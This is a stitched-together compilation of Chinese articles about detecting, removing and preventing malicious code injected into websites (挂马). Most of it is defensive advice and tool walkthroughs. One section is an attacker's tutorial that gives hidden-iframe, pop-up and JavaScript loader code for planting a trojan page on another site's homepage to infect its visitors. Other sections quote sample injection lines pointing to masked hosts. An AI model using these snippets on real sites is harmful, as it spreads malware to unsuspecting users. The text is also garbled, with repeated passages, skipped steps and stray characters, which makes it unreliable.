专家教你如何轻松检测与清除网站挂马(图文并茂)
如何查看网站挂马
终极网站挂马检测工具(网站被挂马怎么办)之前做一些淘客站，一些小站，也都没有在意过检查网站挂马！总觉得应该没有人会给我的网站挂马，现在做了一些正规站，一些商城，所有的东西都要考虑了。
一不小心网站被挂马，我那些数据可就麻烦大了啊，还有网站的排名恐怕也难保了。
所以今天就收集了一些资料，全部整理了一下，然后给自己的网站都运用上了。
具体网站被挂马怎么办大家可以看我下面的介绍！一，网站被挂马有什么危害？1，网站被搜索引擎（google，百度等）屏蔽，影响SEO流量。
2，网站被杀软查杀或屏蔽。
3，网站成为木马散布点。
4，严重危害用户各种账号安全，影响自身公众信誉度。
5，网站的数据受到影响。
6，网站本身操作SEO的话，会对网站权重受到影响。
二，网站被挂马在搜索引擎和浏览器中被拦截的情况：百度搜索后网站被挂马情况：谷歌搜索后网站被挂马情况360浏览器网站挂马检测情况火狐浏览器网站挂马检测情况Googel浏览器网站挂马检测情况三，如何判断网站被挂马，网站被攻击？如果检查你的网站时候存在下列问题，则说明你的网站可能已经被黑客攻击：1、通过Site语法查询站点，显示搜索引擎收录了大量非本站应有的页面。
2、从百度搜索结果中点击站点的页面，跳转到了其他站点。
3、站点内容在搜索结果中被提示存在风险。
4、从搜索引擎带来的流量短时间内异常暴增。
注：site查询结合一些常见的色情、游戏、境外博彩类关键字，可帮助站长更快的找到异常页面，例如“site: 博彩”一旦发现上述异常，我们建议您立即对网站进行排查。
包括：1、分析系统和服务器日志，检查自己站点的页面数量、用户访问流量等是否有异常波动，是否存在异常访问或操作日志；2、检查网站文件是否有不正常的修改，尤其是首页等重点页面；3、网站页面是否引用了未知站点的资源（图片、JS等），是否被放置了异常链接；4、检查网站是否有不正常增加的文件或目录；5、检查网站目录中是否有非管理员打包的网站源码、未知txt文件等。
网站挂马
挂马攻击挂马攻击是指攻击者在已经获得控制权的网站的网页中嵌入恶意代码（通常是通过IFrame、Script引用来实现），当用户访问该网页时，嵌入的恶意代码利用浏览器本身的漏洞、第三方ActiveX漏洞或者其它插件（如Flash、PDF插件等）漏洞，在用户不知情的情况下下载并执行恶意木马。
挂马方式目前挂马的主要方式是通过IFrame与Script嵌入网马URL，比如下面的挂马代码：<iframe src=http://www.cq***.com/Img/ width=0 height=0></iframe>这里通过将IFrame的width与height设置为0，使得嵌入的网马URL在网页上不可见。
<script src=http://%68%68%6A%32***%63%6E></script>这里Script里的URL是经过URL encode编码的。
通过各种编码、混淆、客户端判断等方式来隐藏、保护网马是攻击者挂马常用的手段。
除了这两种常见的挂马方式外，还有如下几种：1、利用JavaScript执行各种经过编码、混淆的攻击代码进行挂马。
2、利用网页跳转、弹出新窗口等方式进行挂马。
3、利用Flash等媒体封装的方式进行挂马。
4、在CSS（层叠样式表）里可以执行JavaScript的浏览器中进行挂马。
挂马常见类型常见的几种类型如下：1、数据库挂马攻击者利用SQL注入漏洞将挂马代码注入到数据库的某些字段中，如果网站页面使用到这些字段的值，并且没做适当的过滤，就有可能导致用户访问该网站的页面时执行攻击者注入的代码。
2、文件挂马攻击者直接将挂马代码批量写入服务端文件里以达到整站挂马的目的。
3、ARP挂马在与目标站点同一局域网的情况下，攻击者可以通过控制局域网中任意一台主机计算机发起ARP欺骗，并将挂马代码注入到用户请求的响应页面上，从而达到隐蔽的挂马目的。
3个命令轻松知道自己电脑是否被挂马
一、检测网络连接)
如果你怀疑自己的计算机上被别人安装了木马，或者是中了病毒，但是手里没有完善的工具来检测是不是真有这样的事情发生，那可以使用Windows自带的网络命令来看看谁在连接你的计算机 具体的命令格式是：netstat -an这个命令能看到所有和本地计算机建立连接的IP，它包含四个部分——proto(连接方式)、local address(本地连接地址)、foreign address(和本地建立连接的地址)、state(当前端口状态)。通过这个命令的详细信息，我们就可以完全监控计算机上的连接，从而达到控制计算机的目的。
方法就是直接输入“net start”来查看服务，再用“net stop server”来禁止服务。
三、轻松检查账户
很长一段时间，恶意的攻击者非常喜欢使用克隆账号的方法来控制你的计算机。他们采用的方法就是激活一个系统中的默认账户，但这个账户是不经常用的，然后使用工具把这个账户提升到管理员权限，从表面上看来这个账户还是和原来一样，但是这个克隆的账户却是系统中最大的安全隐患。恶意的攻击者可以通过这个账户任意地控制你的计算机
为了避免这种情况，可以用很简单的方法对账户进行检测。 首先在命令行下输入net user，查看计算机上有些什么用户，然后再使用“net user+用户名”查看这个用户是属于什么权限的，一般除了Administrator是administrators组的，其他都不是!如果你发现一个系统内置的用户是属于administrators组的，那几乎肯定你被入侵了，而且别人在你的计算机上克隆了账户。快使用“net user用户名/del”来删掉这个用户吧!
联网状态下的客户端。对于没有联网的客户端，当其联网之后也会在第一时间内收到更新信息将病毒特征库更新到最新版本。不仅省去了用户去手动更新的烦琐过程，也使用户的计算机时刻处于最佳的保护环境之下
网页挂马详细步骤教程
∙∙当前位置 : 主页 > 网络安全 > 黑客教程 >网页挂马详细步骤教程来源：互联网作者：佚名时间：04-30 13:19:33【大中小】点评：其实很简单的的，说到原理，就一个：就是在人家网站的主页那里插入一个自己的网马的页面，等有漏洞的人查看了人家网站的主页，那么他就成了你的肉鸡了。
下面我介绍5种方法，我一个一个介绍方法一：这个就是最简单的了，只要你懂点html语言把下面这段代码插进网页中：其实很简单的的，说到原理，就一个：就是在人家网站的主页那里插入一个自己的网马的页面，等有漏洞的人查看了人家网站的主页，那么他就成了你的肉鸡了。
下面我介绍5种方法，我一个一个介绍方法一：这个就是最简单的了，只要你懂点html语言把下面这段代码插进网页中：<iframe src="这里换成你的网马的地址" width="0" height="0"frameborder="0"></iframe>我来插入，理论上来说插到任何地方都行，只是不要把html语言给弄乱了就行本来没有插进去的页面就是这样，不知道网易那里有没有弹出的广告了，好我们运行，注意到网页的左下角的网址变化看到左下角了吧，那里在请求，说明我们插入进去的页面也运行了，哦，还有个弹出的窗口，给我的工具拦了，我来刷新一次，看到吧width="0" height="0" frameborder="0"就是大小高度的意思，我们把他设置为零，那我们就不能看到网页的内容了看下一种方法，把原来插进去的清理掉先，等下那个文件还要用方法二：这个就是脚本<SCRIPT language=javascript>window.open("/test.htm","","toolbar=no,location=no,directorie s=no,status=no,menubar=no,scrollbars=no,width=1,height=1");</script>我们做网页的时候就会加入很多网页特效，同样我们也可以用来打开我们的网马，那么浏览过机子就会中我们的网马了～学过java的都知道上面一段代码的意思了把！打开网站的同时也就打开了我们的/test.htm看我们插进去弹出的窗口给拦了，我去掉先，还是给拦了晕，有个窗口弹了出来，这样子的网马是不保险的……不过也不失为一种方法呃～改成0就更大的窗口了，好，方法而已，只是介绍，下一个方法三：还有一点就是比较隐蔽的那就是使用js文件document.write("<iframe width='0' height='0'src='/mm1.htm'></iframe>");document.write("<iframe width='0' height='0'src='/mm2.htm'></iframe>");我们没必要挂两个网马，就写一个好了额刚才写错位置了保存为mm.js，然后在首页里调用js脚本<script language="javascript" src="</script'>/mm.js"></script>这个就是调用的代码，从这里我们可以看到/mm.js，说明我们的mm.js 文件可以不传到主机上，这样可以方便我们批量管理我们挂马，传到我们的主页空间上就可以了不过我这里就不传了，就用本地的吧，运行左下角……调用了163的了，再刷新下，看清楚点，OK下一种方法方法五：再一种代码就是调用其他网页的页面文件,可以将下面的代码复制，保存为HTM文件。
如何检测网站是否被挂马
如何检测网站是否被挂马
站长最头疼的一件事大概就是网站被挂马了吧！网站被挂马就说明网站的权限很可能已经落入到了其他人的手上，就好比这个网站里有什么都可能被别人知道，网站挂马还会给网站打来巨大的负面影响比如内容被篡改，用户体验变差，严重的可能还会发生企业机密数据泄露等风险，那么对于一个网站如何才能检测出是否被挂马了呢？
1、看网站打开首页是否会自动跳转到陌生页面，一般来说网站被挂马最明显的特征就是网站是否存在跳转到其网站链接，如果我们在用浏览器打开自己网站的时候发现网站突然跳转到陌生的页面，那么这个时候就要想一想是不是网站被挂马了。
可以通过手动检查的方式来常看网站源码，可以通过查找命令查看网以http开头是不是存在自己的链接。
如果源码中出现不是自己网站的链接也不是广告链接的话，站长就应该及时处理挂马了。
2、FTP
坑一通过FTP来参看服务器内文件是否有被修改，如果是网站被挂马而且黑客修改了网站文件，那么相应的文件修改时间也会发生变化，所以要是某些文件的修改时间比其他文件要晚，就说名可能该文件以及被黑客修改过了，也就是说网站以及被挂了木马了。
3、后台进不去
后台是方面管理员进行操作的，要是网站后台进不去，或者没有权限说明后台可能被篡改，也说明网站被挂了马。
4、查看网站收录
可以使用site命令来site一下网站，要是在搜索结果中发现有大量不属于网站的内容，就说明网站可能被挂了马。
有没有什么办法来预防呢
推荐使用一些在线检测挂马的工具，站长工具里也有。
还有就是ftp的用户期限要尽量最小化，重要的文件可以定期的检查是否被修改等等。
网站被挂马的解决途径有哪些？
网站被挂马的解决途径有哪些？
网站被挂马的解决途径有哪些?
第一，降低网站文件夹权限
网站如果被挂马，第一时间可以将网站所在的文件夹权限更改至最低，也就是只保留读写权限，暂时关闭其他权限，这样只需要网站能够正常访问就可以了。
因为文件夹权限修改以后，黑客暂时就无法再次篡改网页，因此就防止了老问题没解决就出现新的问题。
但是如果是整台服务器都被黑，修改网站文件权限也是没有多少用处，这时需要对网站重新换空间。
第二，备份文件替换被挂马文件
文件夹权限修改后，就需要对挂马文件进行修改删除。
如果觉得麻烦，可以直接将之前备份的文件替换现在被挂马的文件。
为了确保可以替换每一个页面，可以先将空间清空后再上传，但是为什么要将空间清空呢?主要担心黑客可能上传自己的后门文件，如果这样的话，即使将文件替换也是没有多少作用的。
将空间清空既可以删除可能存在的后门文件，也可彻底替换每一个可能被挂马的页面，因此平时在维护网站的时候，学会对文件进行定期备份很有必要。
第三，帐号密码不能太过简单
账号密码主要包括空间FTP、网站后台以及数据库等涉及安全的账号密码，帐号密码设置时，切忌直接将域名作为账号与密码，最好可以大小写组合，不能全是数字，这样黑客破解起来非常容易。
帐号密码调整好以后再检查网站的.管理后台目录是否是默认的，如果是默认的类似admin这样的请做修改以防止黑客从后台入侵。
网站被挂马后，网站权重、流量、排名都会下降很多，对网站伤害是比较大的。
因此站长在平时工作中，需要定期对网站进行漏洞检查，或者查看网站源文件，并对网站后台设置好权限，只有这样网站才会有一个比较安全的状态。
分享站长快速检测网站是否被挂马的三方法
分享站长快速检测网站是否被挂马的三方法网站被挂马或者被挂暗链说明网站的管理权限已落入他人之手，而且网站被挂马往往来给网站带来不可估量的负面影响，最常见的就是网站用户体验变形、网站被降权甚至是被K，而对于网站被马之后，很多站长都不能及时的发现并处理，导致网站出现状况后才有所感概。
那么站长应该如何去防范这个网站最大的杀手呢?站长如何去检查自己的网站是否被挂马了呢?今天笔者以亲身经历来谈谈如何检查网站是否被挂马的几个方法。
一、彻底检查法-手动检查网站源码对于站长检查网站是否被挂马，其中最简单的方法就是自己手动检查网站的源码，一般而言，网站被挂马最明显的特征是网站存在跳转到其他网站的链接，也就是网站被挂马之后一旦打开网站就会弹出不是自己的网站也不是广告页面的代码。
而咱们检查的时候就可以通过检查网站的首页源码开始。
首先查看网站首页的源码，然后通过查找命令以http://开头检查是否存在不是自己网站的链接。
通过手动查看源码，检查网站链接的方式是最彻底的检查网站是否被挂马的方法，如果网站源码中出现不是自己网站的链接或者是自己不熟悉的网址的时候，那么站长就要注意了，如果也不是广告链接的话，那么这个网址可能就是被挂马或者被挂暗链之后的跳转链接，而这说明网站的管理权限已经外露了，这时候站长就要及时的处理掉。
二、借助法-借助在线安全检测平台检查现在网络上出现了网站安全检测的第三方插件，而最以知名的就是瑞星联盟和360网站安全检测了，这两个网站在线检测平台对于咱们检查网站是否被挂马、是否安全有着非常大的帮助。
那么咱们想更深入的了解网站是否被挂马或者网站是否存在安全风险的时候就可以借助这类型的网站要深入了解自身网站的安全性，就拿360网站安全检测来举例子，首先需要一个帐号，因为只有登陆帐号并且对网站进行权限检测之后才能看到检查结果，一般检测的时间需要比较长，但好在是全自动进行的。
通过给网站来自全方位的源码进行检查完成后，系统就会把检测报告发到你的邮箱中，而且网站本身也有个报告说明，而咱们通过查看该报告所反馈的信息自然就可以对自己的网站是否被挂马了如指掌了。
巧妙利用百度站长平台死链工具删除被百度收录的挂马网址
巧妙利用百度站长平台死链工具删除被
百度收录的挂马网址
前一段时间，由于程序漏洞造成网页内容多处被挂博彩的内容信息，木马删除后，但是百度收录的挂马页面却都过去几个月了依然还是存在于是利用百度站长平台工具的死链提交将挂马页面删除。
下面就为大家分享一下详细的操作方法：
一、网站配置
我的网站挂马网页的网址全部为：/,登陆后在导航的左侧找到数据提交选项->死链提交，如下图：
下面我们要建立一下列链接文件，将你要删除的死链或是挂马链接全部写在这个文件里，格式如下：
将这个文件上传到网站的要目录，到百度站长平台提交这个文件的地址，如下图：
OK!提交以后就耐心等待百度处理吧!
文章由设计北京门户网提供()，转载请注明!
文章来源于：/article-21748-1.html。
四个步骤教你查看网站是否被挂马
搜索引挚也有对网站是否存在木马病毒的检测功能，如果网站被挂马，自然在搜索引挚上会显示该网站存在安全风险或者是该网站存在恶意软件之类的所以，对于自己网站是否被挂马，站长可以通过在搜索引挚上查询自己的网站名，看看自己的网站在各大搜索引挚上有没有显示一些提示标志，自然就可以知道网站是否安全了。当网站被打上风险标志时，就意味着网站将要走进被降权或者被K掉的境地了。
二、访问网站时提示网站有病毒
现在的杀毒软件不但保持本地电脑的安全，当你访问一个被挂马的网站时，杀毒软件都会有所提示。而且正常情况下，浏览器都会结合杀毒软件提供在线检测病毒的。所以，当自己访问网站时，如果杀毒软件提示存在风险或者是网站有病毒，这时候就应该认真的检测一下网站了。毕竟网站是否安全影响很大的，如果被人挂马了，自然说明网站的控制权在别人的手里，一旦对方是有所图的，改掉网站的内容或者信息，那样就亏大了。而站长也不要访问一些有病毒的网站，以免受感染了。每位站长的电脑都会装有杀毒软件的吧。所以，对于这点其实很基本也很容易做到的。只要每天自动更新病毒库，自然杀毒软件发现病毒都会有所提示的。对于存在木马病毒的网站在访问时都会提示。
ቤተ መጻሕፍቲ ባይዱ 三、网站源码中存在可疑的网址
站长要再仔细的检查网站是否被挂马可以通过查看源代码，通过查找有没有不是自己网站的URL，一般情况下，除了友情链接之外，其他的URL都应该是自己的网站。站长可以查询首页的源码、栏目页、内容页的源码，通过输入www或者是http等之类的有效检测字符，发现有不是自己网站的，而又不是自己添加的，那么就应该重视一下，这样可能网站被挂马了或者控制权不在自己手里了，要尽快的处理掉。
当网站出现以上几个情况时，站长就要及时的检查网站了，如果这时候还以为是搜索引挚的问题或者自己电脑的问题等几天看看的话，那么你就会把网站推向了被K的深渊中。网站被挂马后不及时处理所带来的后果是不可估计的。所以，对于网站的安全，站长应该打起十二分精神，不要让不良分子趁机倒毁了自己辛苦建立的网站。
如何对网站挂马检测及清除
如何对网站挂马检测及清除
如何对网站挂马检测及清除
引导语：网站挂马的检测和清楚方法都有哪些呢？以下是小编整理的如何对网站挂马检测及清除，欢迎参考阅读!
1、百度网站安全检测工具
百度对网站安全检测工具进行了升级，新升级的工具可以检测出网站被黑的详细类别，包括挂马、钓鱼、欺诈、违规内容，同时还有针对这些被黑的`详细修复建议，让站长能够在最快速的时间里解决网站安全问题。
2、百度云观测
百度云观测是百度旗下的云服务产品，为站长提供7*24小时网站监测和报警服务，功能覆盖网站运行状况、安全性、访问速度等服务!
3、360网站安全检测
360网站安全检测属于360旗下的网站安全平台，主要为站长免费提供了网站漏洞检测、网站漏洞修复、网站后门检测、木马查杀，网址安全查询等服务。
4、安全联盟站长平台
安全联盟站长平台，是安全联盟唯一指定网站安全解决方案，主要提供网站漏洞检测检测，帮助网站解决网站被挂马、被篡改、被入侵等问题!。
如何查看网站是否被挂木马？网站监测木马的方式
如何查看⽹站是否被挂⽊马？⽹站监测⽊马的⽅式 在21世纪互联⽹今天，很多的企业最不愿意看到的就是⾃⼰花费⼼思建设的官⽅⽹站，在还没有为企业赢得⼀定的利润之前，就应该被挂⽊马，并且据天津⽹站建设-⽂率科技了解，⽬前很多的企业对于⽹站建设并不了解，不知道如何监测和预防⽊马的出现，为此，⽂率⼩编今天特意为⼤家总结⼀些关于⽹站监测⽊马的⽅式，希望能够更好的帮助您运营企业⽹站。
⼀、在线监测 从事SEO优化⼯作的站长应该都清楚，如果在搜索引擎框框内输⼊site:+⽹站，就能看到我们⽹站⽹页被收录的情况，不仅如此，通过此种⽅式同样可以看⼤我们⽹站的安全情况。
另外，现在很多的企业使⽤的服务器内⼤多数都会安装杀毒软件，⽽这些安全软件中⼤多都有在线⽊马监测功能，⼀旦有⽊马⼊侵我们的⽹站，这些安全软件都会进⾏提⽰以及清理。
当然，企业⾃⼰要要⾃⼰定期的对⽹站做全⾯监测，只有这样才能更好的守护⽹站的安全。
⼆、访问⽹站时提⽰⽹站有病毒 随着互联⽹的发展，⽬前在互联⽹中存在很多的杀毒软件，当⾃⼰访问⽹站时，如果杀毒软件提⽰存在风险或者是⽹站有病毒，这时就应该认真的检测⼀下⽹站了。
如果被⼈挂马了，⾃然说明⽹站的控制权在别⼈的⼿⾥，⼀旦对⽅是有所图的，改掉⽹站的内容或者信息，那这这对于企业⽽⾔将会造成不可弥补的损失，所以在此，天津⽹站建设-⽂率科技提醒⼤家，也不要访问⼀些有病毒的⽹站，以免受感染了。
三、⽹站源代码 ⼤部分企业⽹站被挂⽊马都是挂在⾸页的位置，当企业打开⾃⼰的⽹站显⽰的并⾮是⾃⼰的所添加的内容，那么可以肯定这些内容⼀定是⽹站⿊客挂上去的，并且有些⿊链还会隐藏到⽹站的源代码中，⽹站⾸页是看不到的，这时候就需要我们⼀⾏⼀⾏的检查⽹站源代码了，⼀般的⽊马都是放在头部或者尾部，企业在检查的时候可以着重的检查这两个部分，不过，其他部分也不能放过哦，尽量做到万⽆⼀失。
四、FTP ⼀般情况，检查⽹站是不是通过FTP或者登陆服务器查看⽂件的修改时间，因为键⼊是⿊客的话要是他修改了⽹站⽂件，那么改⽂件的修改的时间就会跟改变，如果某些⽂件的修改时间明显⽐其他⽂件要晚，⽽我们⾃⼰并没有改动过，那么说明这个⽂件已经被⿊客修改过了，这时就说明你的⽹站可能已经中毒或挂上了⽊马，⽽这通过查看源⽂件的⽅式就可以看到。
专家教你如何进行网站挂马检测及清除
专家教你如何进行网站挂马检测与清除不完全统计，90%的网站都被挂过马，挂马是指在获取网站或者网站服务器的部分或者全部权限后，在网页文件中插入一段恶意代码，这些恶意代码主要是一些包括IE等漏洞利用代码，用户访问被挂马的页面时，如果系统没有更新恶意代码中利用的漏洞补丁，则会执行恶意代码程序，进行盗号等危险超过。
目前挂马主要是为了商业利益，有的挂马是为了赚取流量，有的是为了盗取游戏等账号，也有的是为了好玩，不管是处于那种目的，对于访问被挂马的网站来说都是一种潜在的威胁，影响运营网站公司形象。
当一个网站运营很长时间后，网站文件会非常多，手工查看网页文件代码非常困难，杀毒软件仅仅对恶意代码进行查杀，对网页木马以及挂马程序不一定全部查杀，本文就如何利用一些安全检测工具软件来检测和清除网站木马方面进行探讨，使用本文提及的工具可以很轻松的检测网站是否被挂马。
(一)检测挂马页面1.安装urlsnooper软件Urlsnooper是一款URL嗅探工具，其官方主页地址为：，目前已经不提供免费下载了，可以到-11525.html下载该软件。
安装非常简单，按照提示进行安装即可。
第一次使用时需要程序会自动检查网卡，查看能否正常连接网络，设置正确无误后，应该出现如图1所示的画面。
图1安装正确后的界面2.对网站进行侦测在Urlsnooper中的“ProtocolFilter”中选择“ShowAll”，然后单击“SniffNetwor k”按钮开始监听网络。
接着使用IE浏览器打开需要进行检测木马的网站，Urlsnooper会自动抓取网站中的所有连接，在Index中按照五位数字序号进行排列，如图2所示。
图2监听结果说明：在侦测结果中可能包含的连接地址非常多，这个时候就需要进行排查，可以选中每一个记录，Urlsnooper会在下方中显示详细的监听结果，如图2所示，就发现存在一段挂马代码：在百度搜索中对其进行搜索，如图3所示，有30多项搜索结果，从查询结果可以辅佐证明该段代码为挂马代码。
我的网站被挂马怎么办
我的网站被挂马怎么办网站被挂马很头痛，站长心急如焚，不急站长哥们给您支招两招轻松搞定。
网站被挂马解决方案一：iframe{n1ifm:expression(this.src='about:blank',this.outerHTML='');}/*这行代码是解决挂IFRAME木马的哦*/script{nojs1:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木马被成功隔离!'):'');}原理：将<script>标记的src拿出来转为小写，再看是不是以“http”开头的外域JS脚本文件，如果是，则页面内容清空并写出“木马被成功隔离!”。
反之正常显示。
缺点：访客无法看到被感染了<script>木马的页面有条件的朋友建议找专业的Sine安全小组解决网站挂马。
官方站点 网站被挂马解决方案二：iframe{nifm2:expression(this.src='about:blank',this.outerHTML='');}script{no2js:expression((this.src.toLowerCase().indexOf('http')==0)?document.close():'');} 原理：将外域的JS文件的document.write()使用document.close()强制关闭。
木马内容还没有来得及写完，只有部分被强制缓存输出了，剩下的不会再写进网页，也就不会再执行，这样就做到了既然挂上了网页木马也无法运行，当然这只能算是暂时的解决办法，真正的解决办法还得靠网站程序和服务器的安全来保证，代码不是万能的，网马有多种形式，好了不多说了，给别人和自己留条路，希望能帮的到大家！您是否因为网站和服务器天天被入侵攻击、挂马等问题连放弃做站的想法都有过呢？您是否为小小的技术问题而耽误网站的运营,失去了大量的客户呢？把这些都交给Sine安全来做。
如何对网站挂马检测及清除
如何对网站挂马检测及清除挂马是指黑客在网站上植入恶意代码，以达到非法获取用户信息、传播病毒等目的。
对于网站管理员来说，及时发现并清除挂马是非常重要的。
本文将介绍如何对网站进行挂马检测及清除的方法。
1. 挂马检测挂马检测是指通过一系列方法来发现网站是否被植入了恶意代码。
以下是一些常用的挂马检测方法：1.1 主动扫描使用主动扫描工具，如在线漏洞扫描器或安全审计工具，对网站进行扫描，以寻找潜在的漏洞，从而发现是否存在挂马。
1.2 文件监控定期监控网站文件的变化，尤其是关键文件（如网页文件、脚本文件等）的变化。
如果发现文件被修改或新增，就需要对该文件进行进一步的检查。
1.3 日志分析分析网站的访问日志，查看是否有异常的访问行为或异常的URL请求。
通常，黑客在植入恶意代码后，需要通过某种方式访问该代码，日志分析可以帮助我们识别这些异常行为。
1.4 网络监控使用网络监控工具，实时监控网站的入侵行为。
这些工具能够检测到网站是否遭受到DDoS攻击、SQL注入攻击等，这些攻击可能导致网站被挂马。
2. 挂马清除一旦发现网站存在挂马，需要及时清除恶意代码，以保障网站的安全性。
以下是一些常用的挂马清除方法：2.1 备份网站在进行挂马清除之前，务必对整个网站进行备份，以防止意外操作导致网站数据丢失。
2.2 手动清除首先，在清除挂马之前，需要对网站服务器进行全面的杀毒扫描，确保没有其他恶意文件存在。
然后，通过查找恶意代码文件并将其删除，以清除挂马。
2.3 使用安全工具可以使用一些安全工具来帮助清除挂马。
例如，使用杀毒软件对服务器进行全面扫描，找出并删除恶意文件。
使用网站安全监测服务，扫描网站并提供清除恶意代码的建议。
2.4 更新和修复漏洞挂马通常是因为网站存在安全漏洞而被黑客利用，因此，在清除挂马后，务必及时更新和修复网站的漏洞。
这包括及时升级网站的CMS、插件、主题等软件，并修复可能存在的SQL注入、XSS等漏洞。
2.5 监控网站安全清除挂马只是第一步，为了保障网站的安全，还需要定期监控网站的安全性。
网站被攻击挂马,怎么使用d盾web查杀工具检测处理
网站被攻击挂马，怎么使用d盾web查杀工具检测处
理
网站被攻击和挂马怎么处理，相信这是很多人比较头疼的事。
如要网站安全防范措施做的不到位，就经常会碰到网站被攻击。
如果处理的不及时，不仅影响网站的排名和用户体验。
严重的话直接会被搜索引擎K掉。
接下来小编分享的是具体检测处理方法，希望对大家有所帮助。
工具：
电脑、D盾
网站被攻击挂马d盾web查杀工具检测处理操作方法：
一、如果我们的网站被攻击或挂马，一般服务商都会已短信的方式通知用户。
如图所示：
二、首先我们在百度浏览器中搜索“D盾web查杀”。
点击相应的窗口进行下载。
如图所示：
三、d盾的安装包下载后，将压缩包解压到“WebShellKill”文件内。
如图所示：
四、解压后打开运行，会自动弹出程序更新的窗口，根据提示更新完成后会自动跳转到软件界面。
如图所示：
五、进到软件界面后会看到五个菜单栏选项，在查杀栏目中有“扫描全部站点、自定义扫描”等功能选项，建议选择第一进行扫描。
如图所示：
六、把我们预先下载好的网站备份文件直接拖到软件内。
D 盾将会自动进行扫描。
如图所示：
七、扫描结束后就会看到对应文件内，存在的一些可疑文件。
我们通过途径找到对应的文件删除即可。
如图所示：
八、如果网站没有被攻击或挂马，扫描结束后在最底部可以可疑文件为“0”。
如图所示：
注意事项：
1、对网站做好相应的安全措施，定期做好网站的备份；
2、定期进行扫描，掌握网站整体情况，发现问题及时处理。
网站挂马检查方法大
网站挂马检查方法大
网站挂马检查方法大集合
对于网站挂马的知识我们已经介绍了不少，已经认识了网站挂马类型及挂马的代码，但是我们应该如何对网站挂马情况进行检查呢?本文就整理了关于网站挂马的检查方法。
方法一：查看源文件
很多网站挂马情况都是在网页中加入一些关键词链接，而且一般都是做成细小链接、隐藏链接或者是透明链接，我们看网页时很难被发现。
但是通过查看源文件就很容易发现这些挂马代码了。
这是目前我最最常用的一种检查挂马的方法，也是检查出挂马情况最多的方法，一般我所操作的每一个网站我都会制订挂马检查周期表，固定的去检查挂马情况。
方法二：通过搜索引擎获取
这种方法也是我经常使用的方法，而且平时我们也需要在搜索引擎中查看网站的`收录情况，在查看收录情况的同时我们就可以顺便看一下挂马情况。
这种方法一般能够检查出网站中被加入页面的情况，一般向网站中加入的页面都不会在正常的网页中做链接指向的，所以要发现它们比较难。
但是这些页面只要一被搜索引擎检索收录就立马能够通过搜索引擎来了解到。
当然我们还是希望能够在被搜索引擎发现之前就检查出来进行处理，这样风险会少一些。
不过万一有漏掉的怎么办，所以这种情况方式还是必要的。
方法三：使用软件查询
一般的挂马都会有链接指向，我们可以通过一些链接扫描软件，如扫死链工具等就可以查到所有的指向链接，只要发现不是我们自己添加的就有可能是被挂马的，就需要谨慎一些。
另外如果网站出现挂马情况谷歌管理员后台中也会给出相应的提示，可以通过它给出的提示进行处理。
以上的三种方式是我最常用的检查挂马的方法，千万不要觉得网站很安全就忽略了检查。
网站被挂马如何解决
网站被挂马如何解决！随着互联网产业的飞速发展，各种各样的网站如雨后春笋般冒出来，这些网站给广大网民生活资讯和在线学习提供了很多便利，但是林子大了什么鸟儿也就有了，一些无良黑客为了一己私利到处寻找有漏洞的网站挂马，肆意盗窃用户的各种资料及账号密码非法牟利，大量用户染毒成为他们牟利的“牺牲品”。
那些电脑中了木马病毒的网络用户，他们的银行帐号等信息遭到极大的威胁。
很不幸，我的一个做了三年多的网站也被挂马了。
一天早上我打开网站准备更新文章的时候，网页中间弹出了一个360网盾的提示框，提示已拦截恶意网页，我再在百度输入我的网站，发现在百度搜索出来的结果后面都带有一个网站被挂马的提示(如图)，任何一个人看到挂马的网页都会马上关闭，以后谁还敢进入我的网站啊，赶快清马吧!我用FTP把网站首页的代码下载到本地来，在网站底部找到了一段网马的代码，然后把这段代码去掉，重新上传代码到空间去，传好后我用360网盾测试了一下，检测结果显示首页正常无报毒提示，我想这下应该没问题吧!谁知道到晚上的时候，我打开网页又弹出了360的报毒提示框，显示网站又被挂马了，我赶快把这个问题向空间商技术员反映了，叫他们查查服务器是不是有什么漏洞，他们检查后告诉我说服务器没问题，同一个服务器的其它网站都正常，只有我这个网站被挂马，应该是网站有漏洞被黑客利用了。
我一向规规矩矩做站，老老实实做人，怎么黑客就盯上了我的网站呢?看来黑客的道德真是败坏极了。
我这个网站做了三年多了，以前没被挂马前从来也没检查网站有什么漏洞，这次如果不把网站的漏洞找到并堵上那网站以后将永无宁日了。
我先把网站后台的默认地址修改了一下，并修改了管理员登录的用户名和密码，接着修改了数据库的用户名和密码，并特意在数据库的用户名里面加了几个特殊的符号。
最后我登录网站空间的管理后台，找到“设置FSO权限”的选项，关闭了网站的FSO权限，再找到“设置写入权限”的选项，关闭了网站首页文件的写入权限，最好我把FTP的密码也修改成比较复杂的密码了。
.net网站被挂马
.net网站被挂马很多.net程序的网站被挂过马，那我就给大家说一下如何解决这种.net网站被挂马吧。
网站被挂马有何危害性?答：网页被挂马，在一定程度上可以说是网页被篡改，但是比较隐蔽。
危害很大。
对服务器端来说，一方面是系统资源，流量带宽资源的巨大损失，另一方面也成为了传播网页木马的“傀儡帮凶”，严重影响到网站的公众信誉度;对客户端来说，很多网页木马都是利益驱动，偷盗各类帐号密码，如电子银行帐户和密码、游戏帐号和密码、邮箱帐户和密码、QQ/MSN 帐号和密码等;另外，使得客户端被安装恶意插件，强迫浏览黑客指定的网站;或者被利用攻击某个站点等。
目前流行的“游戏信使”(盗用各类网游帐号密码)也都是依靠网页挂马攻击来实现的。
在主动越来越困难的情况下，利用网页木马进行攻击已经成为目前最为流行的黑客攻击手段，所以应引起足够重视!网站被挂马的种类?目前流行的网站被黑，是在相应的asp,htm,js等文件中，插入以js调用方式的什么样子的网站比较容易被挂马?应该说各大中型网站均有被挂马的可能，事实也证明国内多个大型站点都曾被挂马，由于系统漏洞、网站实现代码缺陷(如SQL注入、论坛代码缺陷、跨站脚本等)、或网站提供Web服务的程序漏洞、IIS漏洞、Apache漏洞等都有被挂马的可能;访问量越大的网站越有被挂马的可能，因为此类网站被黑客关注程度较高;另外就是各类zhengFU网站、各大中型企业网站，由于专业性技术人员缺乏，网站大多由第三方公司外包开发，存在缺陷较多，也最容易被挂马。
服务器被挂马，如何才能发现?答：(1)：专业检测工具如木马清道夫(2)：google检测，网站制作完成后上传到服务器上，可以利用Google搜索你的网站、博客进行检测。
如果有网站有木马则google会在搜索列表的下方提示该网站有不安全因素。
(3)：杀毒软件检测，常用的杀毒软件也可以检测出来。
(4)：人工检测，打开你的网站、博客，点击右键查看源文件，根据网页挂马的种类也可以查看是否中了木马。
- 1、下载文档前请自行甄别文档内容的完整性，平台不提供额外的编辑、内容补充、找答案等附加服务。
